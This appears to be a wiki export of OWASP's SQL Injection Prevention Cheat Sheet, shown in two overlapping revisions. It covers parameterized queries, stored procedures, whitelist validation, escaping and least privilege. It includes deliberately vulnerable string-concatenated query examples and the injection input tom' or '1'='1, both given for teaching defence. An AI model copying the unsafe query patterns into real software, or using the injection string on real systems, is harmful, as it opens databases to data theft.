* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]

'''How to Review Code for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities

'''How to Test for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities

 

= Authors and Primary Editors =

[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org 
[[User:jmanico|Jim Manico]] - jim[at]owasp.org 
Matt Seil - mseil[at]acm.org 
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

SQL Injection Prevention Cheat Sheet

2018-02-07T03:51:26Z

Eelgheez: /* Defense Option 4: Escaping All User-Supplied Input */ sync with project moves, use a descriptive style

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:

# the significant prevalence of SQL Injection vulnerabilities, and
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:
a) stop writing dynamic queries; and/or
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.

Primary Defenses:
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''
* '''Option 2: Use of Stored Procedures'''
* '''Option 3: White List Input Validation'''
* '''Option 4: Escaping All User Supplied Input'''

Additional Defenses:
* '''Also: Enforcing Least Privilege'''
* '''Also: Performing White List Input Validation as a Secondary Defense'''
 
;Unsafe Example

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");

try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

=Primary Defenses=

==Defense Option 1: Prepared Statements (with Parameterized Queries)==

The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Language specific recommendations:
* Java EE – use PreparedStatement() with bind variables
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
* PHP – use PDO with strongly typed parameterized queries (using bindParam())
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

;Safe Java Prepared Statement Example

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

'''PreparedStatement pstmt = connection.prepareStatement( query );'''
'''pstmt.setString( 1, custname); '''
ResultSet results = pstmt.executeQuery( );

;Safe C# .NET Prepared Statement Example

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

String query =
"SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
'''command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));'''
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling
}

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:

;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

First is an unsafe HQL Statement

Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");

Here is a safe version of the same query using named parameters

Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);

For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.

Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.

== Defense Option 2: Stored Procedures ==

Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

*Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.

There are also several cases where stored procedures can increase risk. For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8

;Safe Java Stored Procedure Example

The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

String custname = request.getParameter("customerName"); // This should REALLY be validated
try {
'''CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");'''
'''cs.setString(1, custname);'''
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}

;Safe VB .NET Stored Procedure Example

The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

Try
Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)
'''command.CommandType = CommandType.StoredProcedure'''
'''command.Parameters.Add(new SqlParameter("@CustomerName", CustomerName.Text))'''
Dim reader As SqlDataReader = command.ExecuteReader()
‘ …
Catch se As SqlException
‘ error handling
End Try

== Defense Option 3: White List Input Validation ==

Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.

String tableName;
switch(PARAM):
case "Value1": tableName = "fooTable";
break;
case "Value2": tableName = "barTable";
break;
...
default : throw new InputValidationException("unexpected value provided for table name");

The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.

For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:

public String someMethod(boolean sortOrder) {

String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");
...

Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.

Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].

==Defense Option 4: Escaping All User-Supplied Input==

This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations.

This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.

* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.
* [https://github.com/esapi/esapi-java-legacy The legacy ESAPI for Java 2.x at GitHub] helps understand existing use of it when Javadoc seems insufficient.
* [https://github.com/esapi/esapi-java The active ESAPI for Java 3.x GitHub] contains current development.

To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.

Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.

At this time, ESAPI currently has database encoders for:
* Oracle
* MySQL (Both ANSI and native modes are supported)

Database encoders are forthcoming for:
* SQL Server
* PostgreSQL

If your database encoder is missing, please let us know.

===Database Specific Escaping Details===

If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:
* Oracle
* SQL Server
* DB2

====Oracle Escaping====

This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

=====Escaping Dynamic Queries=====

To use an ESAPI database codec is pretty simple. An Oracle example looks something like:
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:

String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID")
+ "' and user_password = '" + req.getParameter("pwd") +"'";
try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

You would rewrite the first line to look like this:

'''Codec ORACLE_CODEC = new OracleCodec();'''
String query = "SELECT user_id FROM user_data WHERE user_name = '" +
'''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID"))''' + "' and user_password = '"
+ '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd"))''' +"'";

And it would now be safe from SQL injection, regardless of the input supplied.

For maximum code readability, you could also construct your own OracleEncoder.

Encoder oe = new OracleEncoder();
String query = "SELECT user_id FROM user_data WHERE user_name = '"
+ '''oe.encode( req.getParameter("userID"))''' + "' and user_password = '"
+ '''oe.encode( req.getParameter("pwd"))''' +"'";

With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.

=====Turn off character replacement=====

Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.

See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information

=====Escaping Wildcard characters in Like Clauses=====

The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:

SELECT name FROM emp
WHERE id LIKE '%/_%' ESCAPE '/';

SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';

=====Oracle 10g escaping=====

<nowiki>An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.</nowiki>

====MySQL Escaping====

MySQL supports two escaping modes:

# ANSI_QUOTES SQL mode, and a mode with this off, which we call
# MySQL mode.

ANSI SQL mode: Simply encode all ' (single tick) characters with '' (two single ticks)

MySQL mode, do the following:

NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \Z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric character.

This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

====SQL Server Escaping====

We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx

====DB2 Escaping====
This information is based on DB2 WebQuery special characters found here: https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983
as well as some information from Oracle's JDBC DB2 driver found here:
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html

Information in regards to differences between several DB2 Universal drivers can be found here: http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm

===Hex-encoding all input===

A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character). The web application should hex-encode the user input before including it in the SQL statement. The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:

SELECT ... FROM session
WHERE hex_encode (sessionID) = '616263313233'

(hex_encode should be replaced by the particular facility for the database being used.) The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).

If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:

WHERE hex_encode ( ... ) = '2720 ... '

27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string. The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.

===Escaping SQLi in PHP===

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

 You basically have two options to achieve this: 

1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):
<pre>
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array('name' => $name));

foreach ($stmt as $row) {
// do something with $row
}
</pre>
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):
<pre>
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
</pre>
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).

= Additional Defenses =

Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:

* '''Least Privilege'''
* '''White List Input Validation'''

== Least Privilege ==

To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.

If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.

SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.

While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.

=== Multiple DB Users ===

The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.

As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.

=== Views ===

You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords. The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself. Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.

== White List Input Validation ==

In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.
 

=Related Articles=

'''SQL Injection Attack Cheat Sheets'''

The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:

* "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* "Bypassing WAF's with SQLi" - [[SQL Injection Bypassing WAF]]

'''Description of SQL Injection Vulnerabilities'''

* OWASP article on [[SQL Injection]] Vulnerabilities
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities

'''How to Avoid SQL Injection Vulnerabilities'''

* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]

'''How to Review Code for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities

'''How to Test for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities

 

= Authors and Primary Editors =

[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org 
[[User:jmanico|Jim Manico]] - jim[at]owasp.org 
Matt Seil - mseil[at]acm.org 
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

SQL Injection Prevention Cheat Sheet

2018-02-07T03:43:44Z

Eelgheez: Avoid cross-border injection

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:

# the significant prevalence of SQL Injection vulnerabilities, and
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:
a) stop writing dynamic queries; and/or
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.

Primary Defenses:
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''
* '''Option 2: Use of Stored Procedures'''
* '''Option 3: White List Input Validation'''
* '''Option 4: Escaping All User Supplied Input'''

Additional Defenses:
* '''Also: Enforcing Least Privilege'''
* '''Also: Performing White List Input Validation as a Secondary Defense'''
 
;Unsafe Example

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");

try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

=Primary Defenses=

==Defense Option 1: Prepared Statements (with Parameterized Queries)==

The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Language specific recommendations:
* Java EE – use PreparedStatement() with bind variables
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
* PHP – use PDO with strongly typed parameterized queries (using bindParam())
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

;Safe Java Prepared Statement Example

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

'''PreparedStatement pstmt = connection.prepareStatement( query );'''
'''pstmt.setString( 1, custname); '''
ResultSet results = pstmt.executeQuery( );

;Safe C# .NET Prepared Statement Example

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

String query =
"SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
'''command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));'''
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling
}

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:

;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

First is an unsafe HQL Statement

Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");

Here is a safe version of the same query using named parameters

Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);

For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.

Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.

== Defense Option 2: Stored Procedures ==

Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

*Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.

There are also several cases where stored procedures can increase risk. For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8

;Safe Java Stored Procedure Example

The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

String custname = request.getParameter("customerName"); // This should REALLY be validated
try {
'''CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");'''
'''cs.setString(1, custname);'''
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}

;Safe VB .NET Stored Procedure Example

The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

Try
Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)
'''command.CommandType = CommandType.StoredProcedure'''
'''command.Parameters.Add(new SqlParameter("@CustomerName", CustomerName.Text))'''
Dim reader As SqlDataReader = command.ExecuteReader()
‘ …
Catch se As SqlException
‘ error handling
End Try

== Defense Option 3: White List Input Validation ==

Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.

String tableName;
switch(PARAM):
case "Value1": tableName = "fooTable";
break;
case "Value2": tableName = "barTable";
break;
...
default : throw new InputValidationException("unexpected value provided for table name");

The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.

For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:

public String someMethod(boolean sortOrder) {

String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");
...

Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.

Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].

==Defense Option 4: Escaping All User-Supplied Input==

